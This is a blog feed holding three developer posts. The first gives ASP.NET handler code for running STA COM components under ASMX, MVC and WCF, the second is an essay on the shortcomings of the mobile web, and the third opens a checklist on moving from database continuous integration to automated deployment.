public void EndProcessRequest(IAsyncResult result) { this.AspCompatEndProcessRequest(result); } } public class AspCompatWebServiceStaHandlerWithSessionState : WebServiceStaHandler, IRequiresSessionState { } } This class overrides the ASP.NET WebForms Page class which has a little known AspCompatBeginProcessRequest() and AspCompatEndProcessRequest() method that is responsible for providing the WebForms ASPCOMPAT functionality. These methods handle routing requests to STA threads. Note there are two classes - one that includes session state and one that does not. If you plan on using ASP.NET Session state use the latter class, otherwise stick to the former. This maps to the EnableSessionState page setting in WebForms. This class simply hooks into this functionality by overriding the BeginProcessRequest and EndProcessRequest methods and always forcing it into the AspCompat methods. The way this works is that BeginProcessRequest() fires first to set up the threads and starts intializing the handler. As part of that process the OnInit() method is fired which is now already running on an STA thread. The code then creates an instance of the actual WebService handler factory and calls its ProcessRequest method to start executing which generates the Web Service result. Immediately after ProcessRequest the request is stopped with Application.CompletRequest() which ensures that the rest of the Page handler logic doesn't fire. This means that even though the fairly heavy Page class is overridden here, it doesn't end up executing any of its internal processing which makes this code fairly efficient. In a nutshell, we're highjacking the Page HttpHandler and forcing it to process the WebService process handler in the context of the AspCompat handler behavior. Hooking up the Handler Because the above is an HttpHandler implementation you need to hook up the custom handler and replace the standard ASMX handler. To do this you need to modify the web.config file (here for IIS 7 and IIS Express): <configuration> <system.webServer> <handlers> <remove name="WebServiceHandlerFactory-Integrated-4.0" /> <add name="Asmx STA Web Service Handler" path="*.asmx" verb="*" type="FoxProAspNet.WebServiceStaHandler" precondition="integrated"/> </handlers> </system.webServer> </configuration> (Note: The name for the WebServiceHandlerFactory-Integrated-4.0 might be slightly different depending on your server version. Check the IIS Handler configuration in the IIS Management Console for the exact name or simply remove the handler from the list there which will propagate to your web.config). For IIS 5 & 6 (Windows XP/2003) or the Visual Studio Web Server use:<configuration> <system.web> <httpHandlers> <remove path="*.asmx" verb="*" /> <add path="*.asmx" verb="*" type="FoxProAspNet.WebServiceStaHandler" /> </httpHandlers> </system.web></configuration> To test, create a new ASMX Web Service and create a method like this: [WebService(Namespace = "http://foxaspnet.org/")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] public class FoxWebService : System.Web.Services.WebService { [WebMethod] public string HelloWorld() { return "Hello World. Threading mode is: " + System.Threading.Thread.CurrentThread.GetApartmentState(); } } Run this before you put in the web.config configuration changes and you should get: Hello World. Threading mode is: MTA Then put the handler mapping into Web.config and you should see: Hello World. Threading mode is: STA And you're on your way to using STA COM components. It's a hack but it works well! I've used this with several high volume Web Service installations with various customers and it's been fast and reliable. ASP.NET MVC ASP.NET MVC has quickly become the most popular ASP.NET technology, replacing WebForms for creating HTML output. MVC is more complex to get started with, but once you understand the basic structure of how requests flow through the MVC pipeline it's easy to use and amazingly flexible in manipulating HTML requests. In addition, MVC has great support for non-HTML output sources like JSON and XML, making it an excellent choice for AJAX requests without any additional tools. Unlike WebForms ASP.NET MVC doesn't support STA threads natively and so some trickery is needed to make it work with STA threads as well. MVC gets its handler implementation through custom route handlers using ASP.NET's built in routing semantics. To work in an STA handler requires working in the Page Handler as part of the Route Handler implementation. As with the Web Service handler the first step is to create a custom HttpHandler that can instantiate an MVC request pipeline properly:public class MvcStaThreadHttpAsyncHandler : Page, IHttpAsyncHandler, IRequiresSessionState { private RequestContext _requestContext; public MvcStaThreadHttpAsyncHandler(RequestContext requestContext) { if (requestContext == null) throw new ArgumentNullException("requestContext"); _requestContext = requestContext; } public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback cb, object extraData) { return this.AspCompatBeginProcessRequest(context, cb, extraData); } protected override void OnInit(EventArgs e) { var controllerName = _requestContext.RouteData.GetRequiredString("controller"); var controllerFactory = ControllerBuilder.Current.GetControllerFactory(); var controller = controllerFactory.CreateController(_requestContext, controllerName); if (controller == null) throw new InvalidOperationException("Could not find controller: " + controllerName); try { controller.Execute(_requestContext); } finally { controllerFactory.ReleaseController(controller); } this.Context.ApplicationInstance.CompleteRequest(); } public void EndProcessRequest(IAsyncResult result) { this.AspCompatEndProcessRequest(result); } public override void ProcessRequest(HttpContext httpContext) { throw new NotSupportedException("STAThreadRouteHandler does not support ProcessRequest called (only BeginProcessRequest)"); } } This handler code figures out which controller to load and then executes the controller. MVC internally provides the information needed to route to the appropriate method and pass the right parameters. Like the Web Service handler the logic occurs in the OnInit() and performs all the processing in that part of the request. Next, we need a RouteHandler that can actually pick up this handler. Unlike the Web Service handler where we simply registered the handler, MVC requires a RouteHandler to pick up the handler. RouteHandlers look at the URL's path and based on that decide on what handler to invoke. The route handler is pretty simple - all it does is load our custom handler: public class MvcStaThreadRouteHandler : IRouteHandler { public IHttpHandler GetHttpHandler(RequestContext requestContext) { if (requestContext == null) throw new ArgumentNullException("requestContext"); return new MvcStaThreadHttpAsyncHandler(requestContext); } } At this point you can instantiate this route handler and force STA requests to MVC by specifying a route. The following sets up the ASP.NET Default Route:Route mvcRoute = new Route("{controller}/{action}/{id}", new RouteValueDictionary( new { controller = "Home", action = "Index", id = UrlParameter.Optional }), new MvcStaThreadRouteHandler()); RouteTable.Routes.Add(mvcRoute);   To make this code a little easier to work with and mimic the behavior of the routes.MapRoute() functionality extension method that MVC provides, here is an extension method for MapMvcStaRoute(): public static class RouteCollectionExtensions { public static void MapMvcStaRoute(this RouteCollection routeTable, string name, string url, object defaults = null) { Route mvcRoute = new Route(url, new RouteValueDictionary(defaults), new MvcStaThreadRouteHandler()); RouteTable.Routes.Add(mvcRoute); } } With this the syntax to add  route becomes a little easier and matches the MapRoute() method:RouteTable.Routes.MapMvcStaRoute( name: "Default", url: "{controller}/{action}/{id}", defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional } ); The nice thing about this route handler, STA Handler and extension method is that it's fully self contained. You can put all three into a single class file and stick it into your Web app, and then simply call MapMvcStaRoute() and it just works. Easy! To see whether this works create an MVC controller like this: public class ThreadTestController : Controller { public string ThreadingMode() { return Thread.CurrentThread.GetApartmentState().ToString(); } } Try this test both with only the MapRoute() hookup in the RouteConfiguration in which case you should get MTA as the value. Then change the MapRoute() call to MapMvcStaRoute() leaving all the parameters the same and re-run the request. You now should see STA as the result. You're on your way using STA COM components reliably in ASP.NET MVC. WCF Web Services running through IIS WCF Web Services provide a more robust and wider range of services for Web Services. You can use WCF over HTTP, TCP, and Pipes, and WCF services support WS* secure services. There are many features in WCF that go way beyond what ASMX can do. But it's also a bit more complex than ASMX. As a basic rule if you need to serve straight SOAP Services over HTTP I 'd recommend sticking with the simpler ASMX services especially if COM is involved. If you need WS* support or want to serve data over non-HTTP protocols then WCF makes more sense. WCF is not my forte but I found a solution from Scott Seely on his blog that describes the progress and that seems to work well. I'm copying his code below so this STA information is all in one place and quickly explain. Scott's code basically works by creating a custom OperationBehavior which can be specified via an [STAOperation] attribute on every method. Using his attribute you end up with a class (or Interface if you separate the contract and class) that looks like this: [ServiceContract] public class WcfService { [OperationContract] public string HelloWorldMta() { return Thread.CurrentThread.GetApartmentState().ToString(); } // Make sure you use this custom STAOperationBehavior // attribute to force STA operation of service methods [STAOperationBehavior] [OperationContract] public string HelloWorldSta() { return Thread.CurrentThread.GetApartmentState().ToString(); } } Pretty straight forward. The latter method returns STA while the former returns MTA. To make STA work every method needs to be marked up. The implementation consists of the attribute and OperationInvoker implementation. Here are the two classes required to make this work from Scott's post:public class STAOperationBehaviorAttribute : Attribute, IOperationBehavior { public void AddBindingParameters(OperationDescription operationDescription, System.ServiceModel.Channels.BindingParameterCollection bindingParameters) { } public void ApplyClientBehavior(OperationDescription operationDescription, System.ServiceModel.Dispatcher.ClientOperation clientOperation) { // If this is applied on the client, well, it just doesn’t make sense. // Don’t throw in case this attribute was applied on the contract // instead of the implementation. } public void ApplyDispatchBehavior(OperationDescription operationDescription, System.ServiceModel.Dispatcher.DispatchOperation dispatchOperation) { // Change the IOperationInvoker for this operation. dispatchOperation.Invoker = new STAOperationInvoker(dispatchOperation.Invoker); } public void Validate(OperationDescription operationDescription) { if (operationDescription.SyncMethod == null) { throw new InvalidOperationException("The STAOperationBehaviorAttribute " + "only works for synchronous method invocations."); } } } public class STAOperationInvoker : IOperationInvoker { IOperationInvoker _innerInvoker; public STAOperationInvoker(IOperationInvoker invoker) { _innerInvoker = invoker; } public object[] AllocateInputs() { return _innerInvoker.AllocateInputs(); } public object Invoke(object instance, object[] inputs, out object[] outputs) { // Create a new, STA thread object[] staOutputs = null; object retval = null; Thread thread = new Thread( delegate() { retval = _innerInvoker.Invoke(instance, inputs, out staOutputs); }); thread.SetApartmentState(ApartmentState.STA); thread.Start(); thread.Join(); outputs = staOutputs; return retval; } public IAsyncResult InvokeBegin(object instance, object[] inputs, AsyncCallback callback, object state) { // We don’t handle async… throw new NotImplementedException(); } public object InvokeEnd(object instance, out object[] outputs, IAsyncResult result) { // We don’t handle async… throw new NotImplementedException(); } public bool IsSynchronous { get { return true; } } } The key in this setup is the Invoker and the Invoke method which creates a new thread and then fires the request on this new thread. Because this approach creates a new thread for every request it's not super efficient. There's a bunch of overhead involved in creating the thread and throwing it away after each thread, but it'll work for low volume requests and insure each thread runs in STA mode. If better performance is required it would be useful to create a custom thread manager that can pool a number of STA threads and hand off threads as needed rather than creating new threads on every request. If your Web Service needs are simple and you need only to serve standard SOAP 1.x requests, I would recommend sticking with ASMX services. It's easier to set up and work with and for STA component use it'll be significantly better performing since ASP.NET manages the STA thread pool for you rather than firing new threads for each request. One nice thing about Scotts code is though that it works in any WCF environment including self hosting. It has no dependency on ASP.NET or WebForms for that matter. STA - If you must STA components are a  pain in the ass and thankfully there isn't too much stuff out there anymore that requires it. But when you need it and you need to access STA functionality from .NET at least there are a few options available to make it happen. Each of these solutions is a bit hacky, but they work - I've used all of them in production with good results with FoxPro components. I hope compiling all of these in one place here makes it STA consumption a little bit easier. I feel your pain :-) Resources Download STA Handler Code Examples Scott Seely's original STA WCF OperationBehavior Article© Rick Strahl, West Wind Technologies, 2005-2012Posted in FoxPro   ASP.NET  .NET  COM   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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  • The broken Promise of the Mobile Web

    - by Rick Strahl
    High end mobile devices have been with us now for almost 7 years and they have utterly transformed the way we access information. Mobile phones and smartphones that have access to the Internet and host smart applications are in the hands of a large percentage of the population of the world. In many places even very remote, cell phones and even smart phones are a common sight. I’ll never forget when I was in India in 2011 I was up in the Southern Indian mountains riding an elephant out of a tiny local village, with an elephant herder in front riding atop of the elephant in front of us. He was dressed in traditional garb with the loin wrap and head cloth/turban as did quite a few of the locals in this small out of the way and not so touristy village. So we’re slowly trundling along in the forest and he’s lazily using his stick to guide the elephant and… 10 minutes in he pulls out his cell phone from his sash and starts texting. In the middle of texting a huge pig jumps out from the side of the trail and he takes a picture running across our path in the jungle! So yeah, mobile technology is very pervasive and it’s reached into even very buried and unexpected parts of this world. Apps are still King Apps currently rule the roost when it comes to mobile devices and the applications that run on them. If there’s something that you need on your mobile device your first step usually is to look for an app, not use your browser. But native app development remains a pain in the butt, with the requirement to have to support 2 or 3 completely separate platforms. There are solutions that try to bridge that gap. Xamarin is on a tear at the moment, providing their cross-device toolkit to build applications using C#. While Xamarin tools are impressive – and also *very* expensive – they only address part of the development madness that is app development. There are still specific device integration isssues, dealing with the different developer programs, security and certificate setups and all that other noise that surrounds app development. There’s also PhoneGap/Cordova which provides a hybrid solution that involves creating local HTML/CSS/JavaScript based applications, and then packaging them to run in a specialized App container that can run on most mobile device platforms using a WebView interface. This allows for using of HTML technology, but it also still requires all the set up, configuration of APIs, security keys and certification and submission and deployment process just like native applications – you actually lose many of the benefits that  Web based apps bring. The big selling point of Cordova is that you get to use HTML have the ability to build your UI once for all platforms and run across all of them – but the rest of the app process remains in place. Apps can be a big pain to create and manage especially when we are talking about specialized or vertical business applications that aren’t geared at the mainstream market and that don’t fit the ‘store’ model. If you’re building a small intra department application you don’t want to deal with multiple device platforms and certification etc. for various public or corporate app stores. That model is simply not a good fit both from the development and deployment perspective. Even for commercial, big ticket apps, HTML as a UI platform offers many advantages over native, from write-once run-anywhere, to remote maintenance, single point of management and failure to having full control over the application as opposed to have the app store overloads censor you. In a lot of ways Web based HTML/CSS/JavaScript applications have so much potential for building better solutions based on existing Web technologies for the very same reasons a lot of content years ago moved off the desktop to the Web. To me the Web as a mobile platform makes perfect sense, but the reality of today’s Mobile Web unfortunately looks a little different… Where’s the Love for the Mobile Web? Yet here we are in the middle of 2014, nearly 7 years after the first iPhone was released and brought the promise of rich interactive information at your fingertips, and yet we still don’t really have a solid mobile Web platform. I know what you’re thinking: “But we have lots of HTML/JavaScript/CSS features that allows us to build nice mobile interfaces”. I agree to a point – it’s actually quite possible to build nice looking, rich and capable Web UI today. We have media queries to deal with varied display sizes, CSS transforms for smooth animations and transitions, tons of CSS improvements in CSS 3 that facilitate rich layout, a host of APIs geared towards mobile device features and lately even a number of JavaScript framework choices that facilitate development of multi-screen apps in a consistent manner. Personally I’ve been working a lot with AngularJs and heavily modified Bootstrap themes to build mobile first UIs and that’s been working very well to provide highly usable and attractive UI for typical mobile business applications. From the pure UI perspective things actually look very good. Not just about the UI But it’s not just about the UI - it’s also about integration with the mobile device. When it comes to putting all those pieces together into what amounts to a consolidated platform to build mobile Web applications, I think we still have a ways to go… there are a lot of missing pieces to make it all work together and integrate with the device more smoothly, and more importantly to make it work uniformly across the majority of devices. I think there are a number of reasons for this. Slow Standards Adoption HTML standards implementations and ratification has been dreadfully slow, and browser vendors all seem to pick and choose different pieces of the technology they implement. The end result is that we have a capable UI platform that’s missing some of the infrastructure pieces to make it whole on mobile devices. There’s lots of potential but what is lacking that final 10% to build truly compelling mobile applications that can compete favorably with native applications. Some of it is the fragmentation of browsers and the slow evolution of the mobile specific HTML APIs. A host of mobile standards exist but many of the standards are in the early review stage and they have been there stuck for long periods of time and seem to move at a glacial pace. Browser vendors seem even slower to implement them, and for good reason – non-ratified standards mean that implementations may change and vendor implementations tend to be experimental and  likely have to be changed later. Neither Vendors or developers are not keen on changing standards. This is the typical chicken and egg scenario, but without some forward momentum from some party we end up stuck in the mud. It seems that either the standards bodies or the vendors need to carry the torch forward and that doesn’t seem to be happening quickly enough. Mobile Device Integration just isn’t good enough Current standards are not far reaching enough to address a number of the use case scenarios necessary for many mobile applications. While not every application needs to have access to all mobile device features, almost every mobile application could benefit from some integration with other parts of the mobile device platform. Integration with GPS, phone, media, messaging, notifications, linking and contacts system are benefits that are unique to mobile applications and could be widely used, but are mostly (with the exception of GPS) inaccessible for Web based applications today. Unfortunately trying to do most of this today only with a mobile Web browser is a losing battle. Aside from PhoneGap/Cordova’s app centric model with its own custom API accessing mobile device features and the token exception of the GeoLocation API, most device integration features are not widely supported by the current crop of mobile browsers. For example there’s no usable messaging API that allows access to SMS or contacts from HTML. Even obvious components like the Media Capture API are only implemented partially by mobile devices. There are alternatives and workarounds for some of these interfaces by using browser specific code, but that’s might ugly and something that I thought we were trying to leave behind with newer browser standards. But it’s not quite working out that way. It’s utterly perplexing to me that mobile standards like Media Capture and Streams, Media Gallery Access, Responsive Images, Messaging API, Contacts Manager API have only minimal or no traction at all today. Keep in mind we’ve had mobile browsers for nearly 7 years now, and yet we still have to think about how to get access to an image from the image gallery or the camera on some devices? Heck Windows Phone IE Mobile just gained the ability to upload images recently in the Windows 8.1 Update – that’s feature that HTML has had for 20 years! These are simple concepts and common problems that should have been solved a long time ago. It’s extremely frustrating to see build 90% of a mobile Web app with relative ease and then hit a brick wall for the remaining 10%, which often can be show stoppers. The remaining 10% have to do with platform integration, browser differences and working around the limitations that browsers and ‘pinned’ applications impose on HTML applications. The maddening part is that these limitations seem arbitrary as they could easily work on all mobile platforms. For example, SMS has a URL Moniker interface that sort of works on Android, works badly with iOS (only works if the address is already in the contact list) and not at all on Windows Phone. There’s no reason this shouldn’t work universally using the same interface – after all all phones have supported SMS since before the year 2000! But, it doesn’t have to be this way Change can happen very quickly. Take the GeoLocation API for example. Geolocation has taken off at the very beginning of the mobile device era and today it works well, provides the necessary security (a big concern for many mobile APIs), and is supported by just about all major mobile and even desktop browsers today. It handles security concerns via prompts to avoid unwanted access which is a model that would work for most other device APIs in a similar fashion. One time approval and occasional re-approval if code changes or caches expire. Simple and only slightly intrusive. It all works well, even though GeoLocation actually has some physical limitations, such as representing the current location when no GPS device is present. Yet this is a solved problem, where other APIs that are conceptually much simpler to implement have failed to gain any traction at all. Technically none of these APIs should be a problem to implement, but it appears that the momentum is just not there. Inadequate Web Application Linking and Activation Another important piece of the puzzle missing is the integration of HTML based Web applications. Today HTML based applications are not first class citizens on mobile operating systems. When talking about HTML based content there’s a big difference between content and applications. Content is great for search engine discovery and plain browser usage. Content is usually accessed intermittently and permanent linking is not so critical for this type of content.  But applications have different needs. Applications need to be started up quickly and must be easily switchable to support a multi-tasking user workflow. Therefore, it’s pretty crucial that mobile Web apps are integrated into the underlying mobile OS and work with the standard task management features. Unfortunately this integration is not as smooth as it should be. It starts with actually trying to find mobile Web applications, to ‘installing’ them onto a phone in an easily accessible manner in a prominent position. The experience of discovering a Mobile Web ‘App’ and making it sticky is by no means as easy or satisfying. Today the way you’d go about this is: Open the browser Search for a Web Site in the browser with your search engine of choice Hope that you find the right site Hope that you actually find a site that works for your mobile device Click on the link and run the app in a fully chrome’d browser instance (read tiny surface area) Pin the app to the home screen (with all the limitations outline above) Hope you pointed at the right URL when you pinned Even for you and me as developers, there are a few steps in there that are painful and annoying, but think about the average user. First figuring out how to search for a specific site or URL? And then pinning the app and hopefully from the right location? You’ve probably lost more than half of your audience at that point. This experience sucks. For developers too this process is painful since app developers can’t control the shortcut creation directly. This problem often gets solved by crazy coding schemes, with annoying pop-ups that try to get people to create shortcuts via fancy animations that are both annoying and add overhead to each and every application that implements this sort of thing differently. And that’s not the end of it - getting the link onto the home screen with an application icon varies quite a bit between browsers. Apple’s non-standard meta tags are prominent and they work with iOS and Android (only more recent versions), but not on Windows Phone. Windows Phone instead requires you to create an actual screen or rather a partial screen be captured for a shortcut in the tile manager. Who had that brilliant idea I wonder? Surprisingly Chrome on recent Android versions seems to actually get it right – icons use pngs, pinning is easy and pinned applications properly behave like standalone apps and retain the browser’s active page state and content. Each of the platforms has a different way to specify icons (WP doesn’t allow you to use an icon image at all), and the most widely used interface in use today is a bunch of Apple specific meta tags that other browsers choose to support. The question is: Why is there no standard implementation for installing shortcuts across mobile platforms using an official format rather than a proprietary one? Then there’s iOS and the crazy way it treats home screen linked URLs using a crazy hybrid format that is neither as capable as a Web app running in Safari nor a WebView hosted application. Moving off the Web ‘app’ link when switching to another app actually causes the browser and preview it to ‘blank out’ the Web application in the Task View (see screenshot on the right). Then, when the ‘app’ is reactivated it ends up completely restarting the browser with the original link. This is crazy behavior that you can’t easily work around. In some situations you might be able to store the application state and restore it using LocalStorage, but for many scenarios that involve complex data sources (like say Google Maps) that’s not a possibility. The only reason for this screwed up behavior I can think of is that it is deliberate to make Web apps a pain in the butt to use and forcing users trough the App Store/PhoneGap/Cordova route. App linking and management is a very basic problem – something that we essentially have solved in every desktop browser – yet on mobile devices where it arguably matters a lot more to have easy access to web content we have to jump through hoops to have even a remotely decent linking/activation experience across browsers. Where’s the Money? It’s not surprising that device home screen integration and Mobile Web support in general is in such dismal shape – the mobile OS vendors benefit financially from App store sales and have little to gain from Web based applications that bypass the App store and the cash cow that it presents. On top of that, platform specific vendor lock-in of both end users and developers who have invested in hardware, apps and consumables is something that mobile platform vendors actually aspire to. Web based interfaces that are cross-platform are the anti-thesis of that and so again it’s no surprise that the mobile Web is on a struggling path. But – that may be changing. More and more we’re seeing operations shifting to services that are subscription based or otherwise collect money for usage, and that may drive more progress into the Web direction in the end . Nothing like the almighty dollar to drive innovation forward. Do we need a Mobile Web App Store? As much as I dislike moderated experiences in today’s massive App Stores, they do at least provide one single place to look for apps for your device. I think we could really use some sort of registry, that could provide something akin to an app store for mobile Web apps, to make it easier to actually find mobile applications. This could take the form of a specialized search engine, or maybe a more formal store/registry like structure. Something like apt-get/chocolatey for Web apps. It could be curated and provide at least some feedback and reviews that might help with the integrity of applications. Coupled to that could be a native application on each platform that would allow searching and browsing of the registry and then also handle installation in the form of providing the home screen linking, plus maybe an initial security configuration that determines what features are allowed access to for the app. I’m not holding my breath. In order for this sort of thing to take off and gain widespread appeal, a lot of coordination would be required. And in order to get enough traction it would have to come from a well known entity – a mobile Web app store from a no name source is unlikely to gain high enough usage numbers to make a difference. In a way this would eliminate some of the freedom of the Web, but of course this would also be an optional search path in addition to the standard open Web search mechanisms to find and access content today. Security Security is a big deal, and one of the perceived reasons why so many IT professionals appear to be willing to go back to the walled garden of deployed apps is that Apps are perceived as safe due to the official review and curation of the App stores. Curated stores are supposed to protect you from malware, illegal and misleading content. It doesn’t always work out that way and all the major vendors have had issues with security and the review process at some time or another. Security is critical, but I also think that Web applications in general pose less of a security threat than native applications, by nature of the sandboxed browser and JavaScript environments. Web applications run externally completely and in the HTML and JavaScript sandboxes, with only a very few controlled APIs allowing access to device specific features. And as discussed earlier – security for any device interaction can be granted the same for mobile applications through a Web browser, as they can for native applications either via explicit policies loaded from the Web, or via prompting as GeoLocation does today. Security is important, but it’s certainly solvable problem for Web applications even those that need to access device hardware. Security shouldn’t be a reason for Web apps to be an equal player in mobile applications. Apps are winning, but haven’t we been here before? So now we’re finding ourselves back in an era of installed app, rather than Web based and managed apps. Only it’s even worse today than with Desktop applications, in that the apps are going through a gatekeeper that charges a toll and censors what you can and can’t do in your apps. Frankly it’s a mystery to me why anybody would buy into this model and why it’s lasted this long when we’ve already been through this process. It’s crazy… It’s really a shame that this regression is happening. We have the technology to make mobile Web apps much more prominent, but yet we’re basically held back by what seems little more than bureaucracy, partisan bickering and self interest of the major parties involved. Back in the day of the desktop it was Internet Explorer’s 98+%  market shareholding back the Web from improvements for many years – now it’s the combined mobile OS market in control of the mobile browsers. If mobile Web apps were allowed to be treated the same as native apps with simple ways to install and run them consistently and persistently, that would go a long way to making mobile applications much more usable and seriously viable alternatives to native apps. But as it is mobile apps have a severe disadvantage in placement and operation. There are a few bright spots in all of this. Mozilla’s FireFoxOs is embracing the Web for it’s mobile OS by essentially building every app out of HTML and JavaScript based content. It supports both packaged and certified package modes (that can be put into the app store), and Open Web apps that are loaded and run completely off the Web and can also cache locally for offline operation using a manifest. Open Web apps are treated as full class citizens in FireFoxOS and run using the same mechanism as installed apps. Unfortunately FireFoxOs is getting a slow start with minimal device support and specifically targeting the low end market. We can hope that this approach will change and catch on with other vendors, but that’s also an uphill battle given the conflict of interest with platform lock in that it represents. Recent versions of Android also seem to be working reasonably well with mobile application integration onto the desktop and activation out of the box. Although it still uses the Apple meta tags to find icons and behavior settings, everything at least works as you would expect – icons to the desktop on pinning, WebView based full screen activation, and reliable application persistence as the browser/app is treated like a real application. Hopefully iOS will at some point provide this same level of rudimentary Web app support. What’s also interesting to me is that Microsoft hasn’t picked up on the obvious need for a solid Web App platform. Being a distant third in the mobile OS war, Microsoft certainly has nothing to lose and everything to gain by using fresh ideas and expanding into areas that the other major vendors are neglecting. But instead Microsoft is trying to beat the market leaders at their own game, fighting on their adversary’s terms instead of taking a new tack. Providing a kick ass mobile Web platform that takes the lead on some of the proposed mobile APIs would be something positive that Microsoft could do to improve its miserable position in the mobile device market. Where are we at with Mobile Web? It sure sounds like I’m really down on the Mobile Web, right? I’ve built a number of mobile apps in the last year and while overall result and response has been very positive to what we were able to accomplish in terms of UI, getting that final 10% that required device integration dialed was an absolute nightmare on every single one of them. Big compromises had to be made and some features were left out or had to be modified for some devices. In two cases we opted to go the Cordova route in order to get the integration we needed, along with the extra pain involved in that process. Unless you’re not integrating with device features and you don’t care deeply about a smooth integration with the mobile desktop, mobile Web development is fraught with frustration. So, yes I’m frustrated! But it’s not for lack of wanting the mobile Web to succeed. I am still a firm believer that we will eventually arrive a much more functional mobile Web platform that allows access to the most common device features in a sensible way. It wouldn't be difficult for device platform vendors to make Web based applications first class citizens on mobile devices. But unfortunately it looks like it will still be some time before this happens. So, what’s your experience building mobile Web apps? Are you finding similar issues? Just giving up on raw Web applications and building PhoneGap apps instead? Completely skipping the Web and going native? Leave a comment for discussion. Resources Rick Strahl on DotNet Rocks talking about Mobile Web© Rick Strahl, West Wind Technologies, 2005-2014Posted in HTML5  Mobile   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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  • Towards Database Continuous Delivery – What Next after Continuous Integration? A Checklist

    - by Ben Rees
    .dbd-banner p{ font-size:0.75em; padding:0 0 10px; margin:0 } .dbd-banner p span{ color:#675C6D; } .dbd-banner p:last-child{ padding:0; } @media ALL and (max-width:640px){ .dbd-banner{ background:#f0f0f0; padding:5px; color:#333; margin-top: 5px; } } -- Database delivery patterns & practices STAGE 4 AUTOMATED DEPLOYMENT If you’ve been fortunate enough to get to the stage where you’ve implemented some sort of continuous integration process for your database updates, then hopefully you’re seeing the benefits of that investment – constant feedback on changes your devs are making, advanced warning of data loss (prior to the production release on Saturday night!), a nice suite of automated tests to check business logic, so you know it’s going to work when it goes live, and so on. But what next? What can you do to improve your delivery process further, moving towards a full continuous delivery process for your database? In this article I describe some of the issues you might need to tackle on the next stage of this journey, and how to plan to overcome those obstacles before they appear. Our Database Delivery Learning Program consists of four stages, really three – source controlling a database, running continuous integration processes, then how to set up automated deployment (the middle stage is split in two – basic and advanced continuous integration, making four stages in total). If you’ve managed to work through the first three of these stages – source control, basic, then advanced CI, then you should have a solid change management process set up where, every time one of your team checks in a change to your database (whether schema or static reference data), this change gets fully tested automatically by your CI server. But this is only part of the story. Great, we know that our updates work, that the upgrade process works, that the upgrade isn’t going to wipe our 4Tb of production data with a single DROP TABLE. But – how do you get this (fully tested) release live? Continuous delivery means being always ready to release your software at any point in time. There’s a significant gap between your latest version being tested, and it being easily releasable. Just a quick note on terminology – there’s a nice piece here from Atlassian on the difference between continuous integration, continuous delivery and continuous deployment. This piece also gives a nice description of the benefits of continuous delivery. These benefits have been summed up by Jez Humble at Thoughtworks as: “Continuous delivery is a set of principles and practices to reduce the cost, time, and risk of delivering incremental changes to users” There’s another really useful piece here on Simple-Talk about the need for continuous delivery and how it applies to the database written by Phil Factor – specifically the extra needs and complexities of implementing a full CD solution for the database (compared to just implementing CD for, say, a web app). So, hopefully you’re convinced of moving on the the next stage! The next step after CI is to get some sort of automated deployment (or “release management”) process set up. But what should I do next? What do I need to plan and think about for getting my automated database deployment process set up? Can’t I just install one of the many release management tools available and hey presto, I’m ready! If only it were that simple. Below I list some of the areas that it’s worth spending a little time on, where a little planning and prep could go a long way. It’s also worth pointing out, that this should really be an evolving process. Depending on your starting point of course, it can be a long journey from your current setup to a full continuous delivery pipeline. If you’ve got a CI mechanism in place, you’re certainly a long way down that path. Nevertheless, we’d recommend evolving your process incrementally. Pages 157 and 129-141 of the book on Continuous Delivery (by Jez Humble and Dave Farley) have some great guidance on building up a pipeline incrementally: http://www.amazon.com/Continuous-Delivery-Deployment-Automation-Addison-Wesley/dp/0321601912 For now, in this post, we’ll look at the following areas for your checklist: You and Your Team Environments The Deployment Process Rollback and Recovery Development Practices You and Your Team It’s a cliché in the DevOps community that “It’s not all about processes and tools, really it’s all about a culture”. As stated in this DevOps report from Puppet Labs: “DevOps processes and tooling contribute to high performance, but these practices alone aren’t enough to achieve organizational success. The most common barriers to DevOps adoption are cultural: lack of manager or team buy-in, or the value of DevOps isn’t understood outside of a specific group”. Like most clichés, there’s truth in there – if you want to set up a database continuous delivery process, you need to get your boss, your department, your company (if relevant) onside. Why? Because it’s an investment with the benefits coming way down the line. But the benefits are huge – for HP, in the book A Practical Approach to Large-Scale Agile Development: How HP Transformed LaserJet FutureSmart Firmware, these are summarized as: -2008 to present: overall development costs reduced by 40% -Number of programs under development increased by 140% -Development costs per program down 78% -Firmware resources now driving innovation increased by a factor of 8 (from 5% working on new features to 40% But what does this mean? It means that, when moving to the next stage, to make that extra investment in automating your deployment process, it helps a lot if everyone is convinced that this is a good thing. That they understand the benefits of automated deployment and are willing to make the effort to transform to a new way of working. Incidentally, if you’re ever struggling to convince someone of the value I’d strongly recommend just buying them a copy of this book – a great read, and a very practical guide to how it can really work at a large org. I’ve spoken to many customers who have implemented database CI who describe their deployment process as “The point where automation breaks down. Up to that point, the CI process runs, untouched by human hand, but as soon as that’s finished we revert to manual.” This deployment process can involve, for example, a DBA manually comparing an environment (say, QA) to production, creating the upgrade scripts, reading through them, checking them against an Excel document emailed to him/her the night before, turning to page 29 in his/her notebook to double-check how replication is switched off and on for deployments, and so on and so on. Painful, error-prone and lengthy. But the point is, if this is something like your deployment process, telling your DBA “We’re changing everything you do and your toolset next week, to automate most of your role – that’s okay isn’t it?” isn’t likely to go down well. There’s some work here to bring him/her onside – to explain what you’re doing, why there will still be control of the deployment process and so on. Or of course, if you’re the DBA looking after this process, you have to do a similar job in reverse. You may have researched and worked out how you’d like to change your methodology to start automating your painful release process, but do the dev team know this? What if they have to start producing different artifacts for you? Will they be happy with this? Worth talking to them, to find out. As well as talking to your DBA/dev team, the other group to get involved before implementation is your manager. And possibly your manager’s manager too. 